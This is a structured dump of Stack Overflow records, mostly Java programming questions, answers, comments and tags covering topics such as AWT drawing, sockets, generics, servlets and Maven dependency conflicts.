has body: How to draw outline rectangle on shapes ? I have many shapes, I want to surround them with outline rectangle? I drew first fill() then draw() public void paint(Graphics g){ Graphics2D g2d = (Graphics2D) g; Rectangle2D R = getRect(); g2d.setColor(Color.blue); g2d.fill(path); g2d.setColor(Color.red); g2d.draw(R); } getRect() method : public Rectangle2D getRect(){ return new Rectangle2D.Double(MinX(),MinY(),MaxX(),MaxY()); } MaxX() and MaxY() methods are same thing except changing in Y instead of X: public double MaxX(){ double max = Double.MIN_VALUE;//check the smallest double value double maxPathEntry=0.0; Paths01 p=new Paths01(); for ( int i = 0 ; i &lt; PathsList.size() ; i++ ) { maxPathEntry = PathsList.get(i).MaxX(); if (maxPathEntry &gt; max ){ max = maxPathEntry; } else if (p.MoveToX &gt; maxPathEntry){ max = p.MoveToX; } } return max; } MinX() and MinY() methods are: public double MinX(){ double min = Double.MAX_VALUE;//check the biggest double value double minPathEntry=0.0; Paths01 p=new Paths01(); for ( int i = 0 ; i &lt; PathsList.size() ; i++ ) { minPathEntry = PathsList.get(i).MinX(); if (minPathEntry &lt; min ){ min = minPathEntry; } else if (p.MoveToX &lt; minPathEntry){ min= p.MoveToX; } } return min; } But when it worked, it didn't display exact outline rectangle on the shape, it displayed inappropriate outline rectangle on the shape
tagged with: awt
has comment: http://stackoverflow.com/comment/33684990
has title: Java - How to draw outline rectangle on a shape
has comment: http://stackoverflow.com/comment/33685620
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33685282
tagged with: paint
answer count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33733751
type: Question
has comment: http://stackoverflow.com/comment/33741051
has comment: http://stackoverflow.com/comment/33648215
linked to: http://stackoverflow.com/q/2587751

http://stackoverflow.com/q/22245118
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: sockets
score: 1
has answer: http://stackoverflow.com/a/22245307
tagged with: java
upvote count: 1
has body: I'm writing a client/server program using sockets. The client first sends the file name and the server reads the file from hard disk and sends back to the client through socket. Finally the client writes the content into a file. When I run the code a java.io.StreamCorruptedException: invalid stream header error is returned. Client code: import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.net.Socket; import java.util.logging.Level; import java.util.logging.Logger; public class ClientSocket { private static final String SERVER_IP = "10.8.17.218"; private static final int SERVER_PORT = 5000; String fileName; String ip; Socket socket; Message msg=null,message=null; ObjectInputStream in = null; ObjectOutputStream out = null; ObjectOutputStream toFile=null; File destFile; public ClientSocket(String ipi,String fname){ fileName = fname; ip=ipi; msg=new Message(fileName); destFile=new File("C:\\DestinationDirectory",fileName); try { socket = new Socket(SERVER_IP, SERVER_PORT); System.out.println("Connected to server!"); } catch (Exception ex) { System.out.println("Error connecting to server: " + ex.getMessage()); } while(true){ try { if (out == null) { out = new ObjectOutputStream(socket.getOutputStream()); } out.writeObject(msg); out.flush(); //get the reply from the server if (in == null) { in = new ObjectInputStream(socket.getInputStream()); } message = (Message) in.readObject(); //System.out.println("Server said: " + message.getMessage()); } catch (Exception ex) { System.out.println("Error: " + ex); } try { toFile = new ObjectOutputStream(new FileOutputStream(destFile)); toFile.writeObject(message); System.out.println(message.getMessage()); } catch (IOException ex) { Logger.getLogger(ClientSocket.class.getName()).log(Level.SEVERE, null, ex); } } } public static void main(String[] args) { ClientSocket cs= new ClientSocket("10.8.17.218","build.sql"); } } Server co…
type: Question
has title: Stream Corrupted Exception

http://stackoverflow.com/q/22223462
tagged with: list
tagged with: java
has answer: http://stackoverflow.com/a/22223579
upvote count: 1
downvote count: 1
type: Question
type: AnsweredQuestion
has title: JAVA save several DATE into a LIST using a custom Datatype
has comment: http://stackoverflow.com/comment/33743025
tagged with: date
has comment: http://stackoverflow.com/comment/33743195
score: 0
accepted answer: http://stackoverflow.com/a/22223579
has body: I want to save several periods of time, which look like that: public class periodOfTime { Date from; Date to; } into a List, which looks like that List &lt;periodOfTime&gt; periodsOfTime = new List&lt;periodOfTime&gt;() right now. How can I store !FOR EXAMPLE! Date s = new Date(); in my list? My thoughts were, that it can be done with periodsOfTime.add(s,s) But it keeps on telling me The method add(int, periodOfTime) in the type List is not applicable for the arguments (Date, Date) Can anyone guide me? Probably I am totally blind right now....
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33742996

http://stackoverflow.com/comment/33714476
type: Comment
comment on: http://stackoverflow.com/a/22205054
score: 0
type: AnswerComment
has text: @gimbo well, instead of a file can be another kind of data source. The algorithm is still the same. Looks like you need to review Java basics one more time.

http://stackoverflow.com/comment/33773551
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22238661
has text: I posted all the code that I use to run this program. I'll edit once more and add a testDoc at the bottom. You'll find issues with expressions 10 and 11
score: 0

http://stackoverflow.com/a/72951356
type: Answer
upvote count: 1
has body: My issue was resolved after I reinstalled latest version of JDK.
downvote count: 0
has comment: http://stackoverflow.com/comment/128941891
score: 1
answers question: http://stackoverflow.com/q/22276910

http://stackoverflow.com/q/22316882
downvote count: 0
has title: How to handle queue of background tasks in Android?
favorite count: 0
tagged with: android-asynctask
type: UnansweredQuestion
tagged with: multithreading
tagged with: android
upvote count: 1
has body: I am new to Android programming and my scenario goes like this. I have several tasks which are in queue like this: Name. Time.(sec) and some other attributes Task 1 0 Task 2 1.5 Task 3 3.5 Task 4 6.5 Task 5 9.5 Task 6 10.5 Task 7 11.5 Task 8 12 ... This table basically says that execute Task 1 at 0th second, Task 2 at 1.5 second, Task 3 at 3.5 second and so on. I am using Task 1 as the starting time i.e. 0th second. It may be possible that there are multiple tasks running in parallel i.e Task i may still be running when it is time to schedule Task j. All of these tasks are network-intensive. As I said I am not familiar with Android and I'm trying to figure out the best way to tackle this in Android. I am thinking of using one AsyncTask(let's say Queue) that loops through all the tasks and see if it is time to schedule any task. If it is not time to schedule any task then sleep till next schedule time i.e nextTaskTime - currentTime. If it is time to schedule then create Runnable instance(or may be another AsyncTask) for the Task and start the execution. So, basically Main thread will create AsyncTask named Queue which may in turn create other threads for Tasks. Is this correct way to approach this problem? If there are other ways then please let me know. Thank you.
has comment: http://stackoverflow.com/comment/33913289
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33912813
type: Question
has answer: http://stackoverflow.com/a/22317028
answer count: 1

http://stackoverflow.com/comment/33781706
comment on: http://stackoverflow.com/q/22243429
score: 0
type: QuestionComment
has text: Running effectively how? I don't expect you're manually calling `javac` if you have other things working.
type: Comment

http://stackoverflow.com/q/22185706
has comment: http://stackoverflow.com/comment/33676998
has answer: http://stackoverflow.com/a/78494542
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22185750
tagged with: java
type: Question
answer count: 2
has body: I'm trying to use a Class&lt;?&gt; in an if statement, like the following: public static Model get(Class&lt;? extends FooBase&gt; type, long id ) { switch (type) { case FooType.class: return new Foo(id); break; } } However, the line: case FooType.class: is giving me the error, Expected Class&lt;capture&lt;? extends FooBase&gt;&gt; , given Class&lt;FooType.class&gt;. FooType does implement the FooBase interface. Is it not possible to do a switch on Class&lt;?&gt; values?
has title: Using java.lang.Class<?> in a switch statement
downvote count: 0
has answer: http://stackoverflow.com/a/22185750
tagged with: generics
favorite count: 0
score: 8
upvote count: 8
possible better answer: http://stackoverflow.com/a/78494542

http://stackoverflow.com/q/22309976
linked to: http://stackoverflow.com/q/22083623
has body: I'm developing a Google Glass app which needs to listen for UDP packets in a worker thread (integrating with an existing system which sends UDP packets). I previously posted a question (see here) and received an answer which provided some guidance on how to do this. Using the approach in the other discussion I'll have a worker thread which is blocked on DatagramSocket.receive(). Further reading suggests to me that I'll need to be able to start/stop this on demand. So this brings me to the question I'm posting here. How can I do the above in such a way as to be able to interrupt (gracefully) the UDP listening? Is there some way I can "nicely" ask the socket to break out of the receive() call from another thread? Or is there another way to listen for UDP packets in an interruptable fashion so I can start/stop the listener thread as needed in response to device events?
has answer: http://stackoverflow.com/a/22310541
tagged with: google-glass
type: Question
linked to: http://stackoverflow.com/q/7962121
tagged with: android
score: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33901121
accepted answer: http://stackoverflow.com/a/22310541
has title: Need an interruptable way to listen for UDP packets in a worker thread
answer count: 1
has comment: http://stackoverflow.com/comment/33900568
type: AnsweredQuestion

compare
tags question: http://stackoverflow.com/q/22326460
tags question: http://stackoverflow.com/q/22171353
tag name: compare
tags question: http://stackoverflow.com/q/22287262
tags question: http://stackoverflow.com/q/22322089
tags question: http://stackoverflow.com/q/22195736
tags question: http://stackoverflow.com/q/22304075
tags question: http://stackoverflow.com/q/22218844
tags question: http://stackoverflow.com/q/22214293
type: Tag
tags question: http://stackoverflow.com/q/22324993
tags question: http://stackoverflow.com/q/22240493

http://stackoverflow.com/comment/33686545
has text: The standard tokenizer splits on whitespace, and the lower case filter does, what its name says... Did you try, if the range search works for your case? Is there any problem, or do you inquire just theoretically?
score: 0
comment on: http://stackoverflow.com/a/22172154
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33846911
type: Comment
has text: @Ramswaroop: You certainly are. Try printing `5*i*i`. You'll get a result that makes no sense.
comment on: http://stackoverflow.com/a/22280145
score: 0
type: AnswerComment

http://stackoverflow.com/comment/49983572
score: 4
has text: why is this closed? does not seem opinion-based to me: https://support.sonatype.com/entries/42303763-P2-Repository-FAQ
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22182388

http://stackoverflow.com/comment/33701611
type: QuestionComment
comment on: http://stackoverflow.com/q/22197491
has text: correct, but in case of locking problems you'll have a positive probability of catching some WAIT situations. Repeatedly executing jstack will give you an indication of hot spots and the stack traces of the threads, which gives you an idea where to look in your source. The threads holding the locks tend to be more interesting than the ones waiting, BTW.
score: 0
type: Comment

http://stackoverflow.com/q/22196825
score: 9
type: Question
upvote count: 9
tagged with: eclipse
has answer: http://stackoverflow.com/a/23913303
has comment: http://stackoverflow.com/comment/33699692
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: android
has body: I use Eclipse Indigo Service Release 2 and I want to import SlidingMenu library into this. when I select Import project and select the library folder, eclipse doesn't find any project in that folder. my library is right because I can import it to ADTBundle and my problem is with Indigo Service Release 2 and I should use this release. do you have any solution?
tagged with: java
has comment: http://stackoverflow.com/comment/33702641
has title: import slidingmenu library in Eclipse Indigo Service Release 2

http://stackoverflow.com/comment/33663130
has text: More information please. Is it your server? Or a 3rd party server you have no control over? If it's your own, do you have an code which relies on UserAgent (browser string)?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22175610
type: QuestionComment

http://stackoverflow.com/comment/33755547
comment on: http://stackoverflow.com/q/22230210
type: QuestionComment
has text: It makes no sense to have two `x` fields. You certainly can override the method, but the field should not be accessible in the context you provided. That's the problem with making it publicly accessible outside of the getter.
score: 0
type: Comment

http://stackoverflow.com/q/22187650
score: 0
linked to: http://stackoverflow.com/q/513832
answer count: 1
type: UnansweredQuestion
tagged with: sockets
has body: I wrote a program which needs to connect to multiple server sockets. Each time it connects to a server, I try to save the server's InetAddress and localPort as an ArrayList in an ArrayList (connectedServers). So connectedServers is an ArrayList of ArrayLists. Before a new connection to a server is made, I try to check whether the same server is already connected with this client by checking through connectedServers. While debugging in eclipse, the debugger stops at the line marked "ERROR" in the below code. In eclipse a new tab opens with the heading NumberFormatException(Throwable).&lt;init&gt;(String) line: 197 which shows the message Source not found. If I take the marked line of code outside the if block, the connection gets made successfully. But I need it to work inside the if block. What can be the problem? The code is as follows. public static ArrayList&lt;ArrayList&lt;Object&gt;&gt; connectedServers = new ArrayList&lt;ArrayList&lt;Object&gt;&gt;(); public static void main (String args[]) throws IOException { listeningPort = 1111; String host = takeInput("Host"); int port = takeInputInt("Port"); Socket a = connectToServer(host, port); if (a != null) { //.... } //.... } public static String takeInput(String inputName) throws IOException { System.out.print(inputName+": "); BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); String input = br.readLine(); return input; } public static int takeInputInt(String inputName) throws IOException { System.out.print(inputName+": "); Scanner inputInt = new Scanner(System.in); int input = inputInt.nextInt(); return input; } public static Socket connectToServer(String host, int port) throws IOException { ArrayList&lt;Object&gt; element = new ArrayList&lt;&gt;(); element.add(host); element.add(port); //println(connectedServers); //println(element); //println(connectedServers); if (connectedServers.contains(element) != true) { //println(host + " " + port); Socket fellowServer = new Socket(host, port);//&l…
tagged with: java
has comment: http://stackoverflow.com/comment/33679812
has title: NumberFormatException(Throwable) error when attempting to connect to a socket
type: Question
has answer: http://stackoverflow.com/a/22187782
tagged with: eclipse
tagged with: arraylist

http://stackoverflow.com/comment/33749324
comment on: http://stackoverflow.com/q/22219392
score: 0
type: Comment
type: QuestionComment
has text: also: https://stackoverflow.com/questions/22218581/eclipse-wizard-to-create-new-android-activity-doesnt-work

http://stackoverflow.com/comment/33841648
comment on: http://stackoverflow.com/a/22277357
has text: @riista are you actually comparing intTypes? And also user2357112 above is right, this is not how you override equals method in Object class.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22174321
has title: How do I switch between worlds/levels once certain criteria has been met?
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22174589
score: 0
answer count: 1
has body: For example I have built one level and there are 35 coins, so how do I say in code the level is over switch to a new world once all the coins have been picked up? I have the other level subclasses I'm not particularly sure how to make the actual game switch levels though? This is the code for my first level..I have created the other subclasses as GameWorld2 and GameWorld3 with the exact same layout public class GameWorld extends World { private Player runningMan; public GameWorld() { super(); // First Dynamic Body runningMan = new Player(this); runningMan.setPosition(new Vec2(-4, -9)); //LEVEL ONE { // make the ground Shape shape = new BoxShape(29, 0.5f); Body ground = new StaticBody(this, shape); ground.setPosition(new Vec2(0, -12.5f)); // loop to generate coins for (int i = 0; i &lt; 35; i++) { Body coins = new Coins(this); coins.setPosition(new Vec2(i * 1 - 17, 10)); coins.addCollisionListener(new CoinPickup(runningMan)); (insert repeated code for platforms bla bla have removed it so you guys dont have to see repeated code) } public Player getRunningMan() { return runningMan; } } Also here is my code for the actual Game class: /** * A world with some bodies. */ public class Game { /** The World in which the bodies move and interact. */ private GameWorld world; /** A graphical display of the world (a specialised JPanel). */ private MyView view; /** Initialise a new Demo. */ public Game() { // make the world world = new GameWorld(); // make a view view = new MyView(world, 1000, 600); // add some mouse actions // add this to the view, so coordinates are relative to the view //view.addMouseListener(new MouseHandler(view)); // display the view in a frame final JFrame frame = new JFrame("Week 1"); //Link the character to the keyboard frame.addKeyListener(new Controller(world.getRunningMan())); // quit the application when the game window is closed frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setLocationByPlatform(true); // display the world in the window…
type: UnansweredQuestion

http://stackoverflow.com/comment/33831484
comment on: http://stackoverflow.com/q/22271880
type: Comment
score: 0
has text: line 94 is the first actionlistener to the while(true) in the main method
type: QuestionComment

http://stackoverflow.com/comment/33741952
type: Comment
type: QuestionComment
has text: Personally I wouldn't use a Highlighter, I'd paint the Background (and Foreground?) with the appropriate colour. Tables handle that well.
comment on: http://stackoverflow.com/q/22221587
score: 0

http://stackoverflow.com/comment/33831506
type: QuestionComment
has text: What is content of "*Database.txt" files. ? Empty file may be the reason for empty `ArrayList`.
comment on: http://stackoverflow.com/q/22271880
score: 0
type: Comment

http://stackoverflow.com/q/22209168
has answer: http://stackoverflow.com/a/22209315
has body: I'm using Install4j to create a installer of a JavaFx application for OSX and it must include a bundle JRE (jre 1.7_0_51). I need to move the file /lib/jfxrt.jar to /lib/ext/jfxrt.jar to force Java to load the JavaFX libs. Is there a way to do this? UPDATE: I've forget to add a little info about the bundle, the file jfxrt.jar is inside the bundle.
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22222694
downvote count: 0
score: 1
favorite count: 0
type: Question
answer count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/33718209
tagged with: java
tagged with: javafx
has title: Adjust Bundle JRE for MAC inInstall4j
tagged with: install4j
possible better answer: http://stackoverflow.com/a/22209315
has answer: http://stackoverflow.com/a/22222694

http://stackoverflow.com/a/35913372
has body: From JNA's official FAQ: How does JNA performance compare to custom JNI? JNA direct mapping can provide performance near that of custom JNI. Nearly all the type mapping features of interface mapping are available, although automatic type conversion will likely incur some overhead. The calling overhead for a single native call using JNA interface mapping can be an order of magnitude (~10X) greater time than equivalent custom JNI (whether it actually does in the context of your application is a different question). In raw terms, the calling overhead is on the order of hundreds of microseconds instead of tens of microseconds. Note that that's the call overhead, not the total call time. This magnitude is typical of the difference between systems using dynamically-maintained type information and systems where type information is statically compiled. JNI hard-codes type information in the method invocation, where JNA interface mapping dynamically determines type information at runtime. You might expect a speedup of about an order of magnitude moving to JNA direct mapping, and a factor of two or three moving from there to custom JNI. The actual difference will vary depending on usage and function signatures. As with any optimization process, you should determine first where you need a speed increase, and then see how much difference there is by performing targeted optimizations. The ease of programming everything in Java usually outweighs small performance gains when using custom JNI.
type: Answer
downvote count: 1
score: 19
answers question: http://stackoverflow.com/q/22288909
upvote count: 20

pdfbox
tag name: pdfbox
tags question: http://stackoverflow.com/q/22260344
tags question: http://stackoverflow.com/q/22317706
tags question: http://stackoverflow.com/q/22219357
type: Tag

http://stackoverflow.com/q/22262916
has title: JPA transaction spanned over several postbacks
tagged with: jakarta-ee
has body: I need to create a simple JEE application which could have two modes. First, it automatically stores each modification to the database, and second, all the changes are stored on demand. Is it possible to start one JPA transaction and span it over many postbacks on a given stateful bean and commit changes (or rollback) when a user clicks some button? I tried to set the following parameters on my bean: @Stateful @TransactionManagement(TransactionManagementType.BEAN) and also for EntityManager: @PersistenceContext(type = PersistenceContextType.EXTENDED) but I get the following exception when I try to commit: java.lang.IllegalStateException: Transaction is not active in the current thread. If it is not possible like that, what is the easiest way to create the above functionality?
has answer: http://stackoverflow.com/a/22267404
tagged with: jpa
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/33825355
answer count: 1
tagged with: transactions
score: 0
tagged with: java
tagged with: orm

http://stackoverflow.com/comment/33737176
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22219504
has text: Why in the world are you trying to hit the database every time a key is released? Please explain what you are trying to accomplish, and maybe we can offer a better/more correct solution
score: 1

http://stackoverflow.com/a/22311583
has comment: http://stackoverflow.com/comment/33903497
upvote count: 2
has comment: http://stackoverflow.com/comment/33903729
has comment: http://stackoverflow.com/comment/33903456
type: Answer
score: 2
answers question: http://stackoverflow.com/q/22311539
has body: Possible solution: during server shutdown connect to the socket and write a STOP message. Have the thread break out of its infinite loop as a result of receiving this STOP message.
downvote count: 0
has comment: http://stackoverflow.com/comment/33903644

http://stackoverflow.com/comment/33962466
has text: A `byte` var will take as much memory as an `int` var. The only place where you can actually save memory are arrays.
score: 0
comment on: http://stackoverflow.com/q/22303604
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33826837
score: 0
comment on: http://stackoverflow.com/q/22261579
type: Comment
type: QuestionComment
has text: right anybody that codeing in Cobol or RPG can creating own DND in Java from scratch, sure no issue own DND is easier:-), you have to override all methods in paint for WindowsButtonUI (special UI for WindowsLookAndFeel, doesn't works in all cases for WindowsClassicLookAndFeel == lazy to test), then paintChildren will works without any kicks from paint (should be used paintComponent or better by override paintChildren in JPanel)

http://stackoverflow.com/comment/33821466
type: Comment
type: QuestionComment
has text: @Shayanpourvatan 51: this.rssItems.add(currentItem); 52: this.task.publicPublishProgress();
score: 0
comment on: http://stackoverflow.com/q/22265881

http://stackoverflow.com/comment/33672289
type: AnswerComment
score: 0
type: Comment
has text: @UncleIeoh thank you for your answer. but do you know any tutorial can help me i don't want to lose you time
comment on: http://stackoverflow.com/a/22183374

http://stackoverflow.com/comment/33680358
has text: Why? `JLabel` has an `Icon` property? Why not simply use `setIcon(new ImageIcon(bufferedImage))`?
comment on: http://stackoverflow.com/q/22188120
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/22192939
has answer: http://stackoverflow.com/a/22194400
answer count: 2
linked to: http://stackoverflow.com/q/14144232
downvote count: 0
score: 1
has title: java.lang.UnsatisfiedLinkError: Cannot load 32-bit SWT libraries on 64-bit JVM in windows
favorite count: 0
type: UnansweredQuestion
tagged with: swt
has answer: http://stackoverflow.com/a/23758629
tagged with: java
tagged with: unsatisfiedlinkerror
tagged with: install4j
upvote count: 1
type: Question
has body: I am developing a windows application. I need to create an installer(a common installer for both 32 bit and 64 bit windows OS) for that, for that I am using Install4J software. I developed in Windows 32 bit, jdk 1.7. Installer working fine in 32 bit windows os, but when I try to create installer in win 64 bit os, it is throwing me an error like java.lang.UnsatisfiedLinkError: Cannot load 32-bit SWT libraries on 64-bit JVM Please help to sort out this..

http://stackoverflow.com/a/22280045
has comment: http://stackoverflow.com/comment/33846225
has comment: http://stackoverflow.com/comment/33846396
score: 0
has comment: http://stackoverflow.com/comment/33846443
answers question: http://stackoverflow.com/q/22280013
has comment: http://stackoverflow.com/comment/33846318
has body: Ok, here's a different answer. The reason is that though you use &lt;K&gt; as a generic in your method, it has nothing to do with the &lt;K&gt; you used in your class. It would be more obvious if you wrote abstract class A&lt;K extends Number&gt;{ public abstract &lt;T&gt; A&lt;T&gt; useMe(A&lt;T&gt; t); } Here &lt;T&gt; is some generic, but you have limited A to only use generics which extend Number and &lt;T&gt; in this case doesn't and it fails to implement the contract of A. Here is where the error comes from. For that reason you should write abstract class A&lt;K extends Number&gt;{ public abstract &lt;T extends Number&gt; A&lt;T&gt; useMe(A&lt;T&gt; k); }
type: Answer
has comment: http://stackoverflow.com/comment/33846283
upvote count: 1
has comment: http://stackoverflow.com/comment/33846132
has comment: http://stackoverflow.com/comment/33846762
downvote count: 1
has comment: http://stackoverflow.com/comment/33846997

http://stackoverflow.com/comment/33896747
type: AnswerComment
comment on: http://stackoverflow.com/a/22308039
has text: if the constructors are not inherited, making `Parent` constructor `Private`, the child class constructor has following error : `Implicit super constructor Parent() is not visible. Must explicitly invoke another constructor`
type: Comment
score: 0

http://stackoverflow.com/a/34489568
score: 0
has body: It's strange, yours connection strings looks correct. Try to set user and password directly: "jdbc:jtds:sqlserver://PHSSQL792:1433/pacsdb;instance=PHSSQL792;user=sa;password=pass"
type: Answer
has comment: http://stackoverflow.com/comment/59234929
answers question: http://stackoverflow.com/q/22203378

http://stackoverflow.com/q/22255390
has comment: http://stackoverflow.com/comment/33802107
accepted answer: http://stackoverflow.com/a/22308856
answer count: 1
score: 0
has title: Make spring security and apacheds reread a .ldif file
has comment: http://stackoverflow.com/comment/33821977
has answer: http://stackoverflow.com/a/22308856
has comment: http://stackoverflow.com/comment/33838851
tagged with: spring-security-ldap
has comment: http://stackoverflow.com/comment/33803036
tagged with: spring
type: AnsweredQuestion
tagged with: apacheds
tagged with: java
has comment: http://stackoverflow.com/comment/33807056
has body: I'm using spring-security to authenticate simply , and apacheDS via a simple ldif file: &lt;!-- BEGIN LDIF CONFIGURATION --&gt; &lt;security:ldap-server ldif="classpath:spring-security-on-LDIF.ldif" root="dc=foo,dc=com" /&gt; &lt;bean id="userDetailsContextMapper" class="com.foo.myapp.login.springsecurity.MyLdapUserDetailsMapper"&gt; &lt;constructor-arg ref="MyUserDetailsService" /&gt; &lt;/bean&gt; &lt;security:authentication-manager alias="authenticationManager" &gt; &lt;security:ldap-authentication-provider user-search-base="ou=users" user-search-filter="uid={0}" user-context-mapper-ref="userDetailsContextMapper"/&gt; &lt;/security:authentication-manager&gt; &lt;!-- END LDIF CONFIGURATION --&gt; That works fine. Now I want to add a NEW user to my .ldif file. Unfortunately, I need to restart tomcat to get it to reread the .ldif file. Is there a way to force apacheDS to reread/recache the ldif file at a certain point?
type: Question
has comment: http://stackoverflow.com/comment/33802327

http://stackoverflow.com/comment/33694387
comment on: http://stackoverflow.com/a/22193917
has text: @ShajeerAhmd delevry status failed your email is incrrct please check and send again
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22222823
type: Answer
has body: Based on your comment I'd recommend to either implement two separate constraints, one for each target class (they could share implementation code using a delegate or super-class). Or you implement a class-level constraint, which naturally has access to the validated class and all its properties. Note that you can still let the resulting constraint validation point to a specific property of the class using the constraint builder API in your validator implementation.
answers question: http://stackoverflow.com/q/22192645
score: 0

http://stackoverflow.com/q/22219242
has answer: http://stackoverflow.com/a/22219342
answer count: 1
downvote count: 0
favorite count: 0
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22219342
upvote count: 2
tagged with: printwriter
has title: Print writer format
type: Question
tagged with: format
tagged with: java
has body: I have a list with several objects each containing three strings, how should I format the output (in outfile.format()) to make it look like in the sample output below? public void save() { try { PrintWriter outfile = new PrintWriter (new BufferedWriter (new FileWriter("reg_out.txt"))); for (int i = 0; i &lt; list.size(); i++) { outfile.format("???", list.get(i).getLastName(), list.get(i).getFirstName(), list.get(i).getNumber()); } outfile.close(); } catch (IOException ioe) { ioe.printStackTrace(); } } Sample output in reg_out.txt: Allegrettho Albert 0111-27543 Brio Britta 0113-45771 Cresendo Crister 0111-27440

http://stackoverflow.com/q/22255508
has body: I want to print out a column from my MySQL database. I have a calendar system, where you can choose a "from" date "to" date. When you choose the time period, it should print out the COLUMN "Allday_hours" from MySQL database. I am using a javascript, AJAX and JSON. This is calling my servlet. There is connection so that works font, but I really don't know how to print the column out from my servlet. Is it some kind of System.out.println("") I have to use, or? package WorkPackage; import java.io.*; import java.sql.*; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.*; @WebServlet("/getHoursSQL") public class getHoursSQL extends HttpServlet{ private static final long serialVersionUID = 1L; @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException{ String connectionURL = "jdbc:mysql://localhost/NekiWork"; Connection connection=null; String all_day_hours = null; // new code res.setContentType("text/html;charset=UTF-8"); // new code res.getWriter().write(all_day_hours); // new code try { Class.forName("com.mysql.jdbc.Driver"); connection = DriverManager.getConnection(connectionURL, "root", ""); String sql = "SELECT *, (Day_hours + (Day_minutes / 100)) AS Allday_hours FROM Workdata"; PreparedStatement pst = connection.prepareStatement(sql); ResultSet rs = pst.executeQuery(sql); if(rs.next()){ // new code all_day_hours = rs.getString("Allday_hours"); // new code } // new code pst.close(); } catch(ClassNotFoundException e){ System.out.println("Couldn't load database driver: " + e.getMessage()); } catch(SQLException e){ System.out.println("SQLException caught: " + e.getMessage()); } catch (Exception e){ System.out.println(e); } finally { try { if (connection != null) connection.close(); } catch (SQLException ignored){ System.out.pr…
tagged with: mysql
has answer: http://stackoverflow.com/a/22256682
type: Question
tagged with: javascript
tagged with: servlets
has answer: http://stackoverflow.com/a/22256750
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/22272310
has title: Print out from Servlet
accepted answer: http://stackoverflow.com/a/22256682
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22256750
tagged with: java

http://stackoverflow.com/q/22300542
has comment: http://stackoverflow.com/comment/33883078
tagged with: printing
has title: Sorting user input and printing out in same category
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33883790
has answer: http://stackoverflow.com/a/22300931
score: 0
tagged with: java
has body: My homework is to work with a 2-dimensional array to receive console input of the number of hours each employee (8 total) has worked in a 7 day week. I'm then to total up all the input and then print out the totals of each employee in descending order. I've been able to figure out how to print out the user inputs in descending order, only, I don't know how to print them out to their corresponding employee #. import java.util.Scanner; import java.util.Arrays; public class ComputingWeeklyHours { public static void main(String[] args){ Scanner in = new Scanner(System.in); int[][] register = new int[8][7]; System.out.println("Enter hours for each employee"); for (int i = 0; i &lt; register.length; i++) for (int j = 0; j &lt; register[i].length; j++){ System.out.printf("Employee %d:", i+1); register[i][j] = in.nextInt(); } int[] totaledHours = sum(register); Arrays.sort(totaledHours); for (int k = totaledHours.length-1; k &gt;= 0; k--){ System.out.print(totaledHours[k] + " "); } } public static int[] sum(int[][] total){ int[] totaled = new int[8]; for (int i = 0; i &lt; total.length; i++) for (int j = 0; j &lt; total[i].length; j++) totaled[i] += total[i][j]; return totaled; } } This prints out everything in descending order. So how can I associate each index with the employee #?
type: Question
accepted answer: http://stackoverflow.com/a/22300931
has comment: http://stackoverflow.com/comment/33883181
tagged with: arrays
tagged with: sorting
has comment: http://stackoverflow.com/comment/33883664

http://stackoverflow.com/q/22237806
type: Question
answer count: 2
upvote count: 0
tagged with: jar
has answer: http://stackoverflow.com/a/22237903
score: -1
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22245964
has body: I want to create a jar for a java library (lets call this mylibrary). mylibary has many dependencies, built with maven. For example say mylibrary depends on a jar called foo, and mylibrary uses version 1.1 of foo. I want to give this java library out to other people. They will link in my library and use the APIs it provides. When a user builds their project (lets call it theirlibrary), suppose they want to use version 1.2 of foo. So their project contains two dependencies: mylibrary 1.0 foo 1.2 This causes a jar version conflict because mylibrary is using foo 1.1 and theirlibrary is using foo 1.2 and generally does not work. Is it possible to use a special build target in maven to resolve this issue? That is, everything in mylibrary will be bundled into one jar, and only be able to load other classes within the mylibrary jar. And the classes the theirlibrary loads in from the mylibrary jar only include the APIs mylibrary intends to expose, and not its dependencies. If the user wants to use foo 1.2, then they are free to do that. Basically I dont want mylibrary 1.0 to force foo 1.1 onto theirlibrary. theirlibrary should be free to use foo 1.2 if it wants to do that. I've looked into ClassLoaders as a solution, but I don't think this will work. It seems like class loaders only allow the instantiator of the class to have control. I.e. theirlibrary could use ClassLoaders to fix this issue, but I don't think there is a lot I can do from mylibrary. I don't want to force theirlibrary to use ClassLoaders in their code. Is this possible in java? Or is this a shortcoming of java?
tagged with: maven
tagged with: java
has title: How to create a jar file which won't have dependency version conflicts with others link it n
downvote count: 1

http://stackoverflow.com/comment/33928729
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22320815
